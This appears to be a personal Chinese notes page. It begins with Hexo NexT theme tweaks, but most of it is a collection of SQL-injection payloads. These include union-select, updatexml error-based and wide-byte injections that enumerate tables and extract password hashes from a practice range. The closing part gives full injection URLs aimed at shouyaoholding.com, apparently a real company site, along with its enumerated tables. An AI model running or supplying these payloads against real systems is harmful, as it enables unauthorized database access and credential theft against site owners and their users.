友链

基于next主题下如何添加友链以及修改左侧任务栏和菜单栏的图标、文字的颜色.

E:\BOKE\hexo_blog\source\links\index.md

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<div class="card">
<img class="ava" src="头像" />
<div class="card-header">
<div>
<a href="链接">名字</a>
</div>
<div class="info">下方简单描述 </div><!-- 这是HTML的注释 -->
</div>
</div>

E:\BOKE\hexo_blog\themes\next\source\css\_variables\base.styl
菜单栏以及侧边任务栏修改颜色

markdown语法的文档

https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet

官网可实行在线编辑

Markdown 基本语法 | Markdown 官方教程

SQL hacker bar使用

  1. Load URL:复制网址
  2. Split URL:剪切地址
  3. Encyption:四种加密方式
  4. Encoding:三种编码方式
  5. SQL:一些方便查询的语句
  6. 1 eg:字段数是10的时候,我们需要手动打出and 1=2 unionselect1,2,3,4,5,6,7,8,9,10,这样做会很麻烦。我们通过hackbar的SQL选项里面的union select statement在其中输入字段数,hackbar会自动的帮助我们输入那一大串文字
  7. xss:XSS攻击
  8. Post data:以post的方式提交数据

简单的CTF登录题目可以尝试 ‘or 1=1 #

and(有假则假 1表示真,0表示假)
1 and 1 = 1
1 and 0 = 0
0 and 0 = 0

or(有真则真 1表示真,0表示假)
1 or 1 = 1
1 or 0 =1
0 or 0 =0

xor(异或,相同为0,相异为1,0和其他任意不为0值进行异或结果都为1,除了0之外的其他相异的数进行异或结果都为0)
1 xor 1 =0
0 xor 1 =1
0 xor 0 =0
8 xor 7 =0
0 xor 7 =1

截取函数:
left(‘admin’,1):左截取,从左边截取admin字符串,截取一位。
right(’admin’,1):右截取
mid(’admin’,1,2):截取admin字符串,从第一位开始截取,截取两位
substr(’admin’,1,1):
substring(’admin’,1,1):

判断函数:
if(1=1,1,0):
case when 1=1 then 0 else 1 end:

当前数据库:mozhe_discuz_stormgroup
information_schema
表名:notice(id,title,content,time),stormgroup_member(id,name,password,status)

‘ union select 1,2,3,4–+

‘ union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’mozhe_discuz_stormgroup’–+

‘ union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=’stormgroup_member’–+

‘ union select 1,name,password,4 from stormgroup_member–+

‘and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’member’ limit 0,1),0x7e),1)=’1–+

name password status

‘and updatexml(1,concat(0x7e,(select status from member limit 0,1),0x7e),1)=’1–+ 0 1
‘and updatexml(1,concat(0x7e,(select name from member limit 1,1),0x7e),1)=’1–+ mozhe
‘and updatexml(1,concat(0x7e,(select password from member limit 1,1),0x7e),1)=’1–+ ~10d4fd8b49ca62d2d43e561965e81ce

截取31位后面的密码

right(select group_concat(password) from member),4)

‘ and updatexml(1,concat(0x7e,(right((select group_concat(password) from member),4)),0x7e),1)=’1–+ ‘1ce8

‘ and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 0,1),0x7e),1)–+

‘ and updatexml(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1),0x7e),1)–+

宽字节注入 1%df’ ……… –+

1%df’and updatexml(1,concat(0x7e,database(),0x7e),1)–+ ‘mozhe_discuz_stormgroup‘ 库

1%df’and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),0x7e),1)–+

XPATH syntax error: ‘notice,stormgroup_member

73746f726d67726f75705f6d656d626572

1%df’and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),0x7e),1)–+

XPATH syntax error: ‘name,password,status
6e616d65 70617373776f7264 737461747573

1%df’and updatexml(1,concat(0x7e,(select group_concat(status) from information_schema.columns where table_name=0x737461747573),limit 0,1)0x7e),1)–+

1%df’and updatexml(1,concat(0x7e,right((select group_concat(password) from stormgroup_member ),1),0x7e),1)–+

XPATH syntax error: ‘c

order br 5
union select 1,2,database(),version()

表明 pentesterlab

sleep()==>反应时间

http://www.shouyaoholding.com/new_details.php?id=1%20order%20by%2013--+

http://www.shouyaoholding.com/new_details.php?id=-1%20union%20select%201,2,database(),4,5,6,group_concat(table_name),8,9,10,11,12,13%20%20from%20information_schema.tables%20where%20table_schema=%27shouyao%27--+--+

库 shouyao
表 banner,busniess_user,company,contact,innovation,news,recruit,reports,resources,resume,resume_copy1
列 resources(id,type,title,thumb,desc,desc2,add_time,detail,status,top)

group_concat(column_name) information_schema.columns where table_name=’resources’

http://www.shouyaoholding.com/new_details.php?id=-1%20union%20select%201,2,database(),4,5,6,group_concat(column_name),8,9,10,11,12,13%20%20from%20information_schema.columns where table_name=’resources’–+

http://www.shouyaoholding.com/new_details.php?id=-1%20union%20select%201,2,(select group_concat(id) from resources),4,5,6,group_concat(column_name),8,9,10,11,12,13%20%20from%20information_schema.columns where table_name=’resources’–+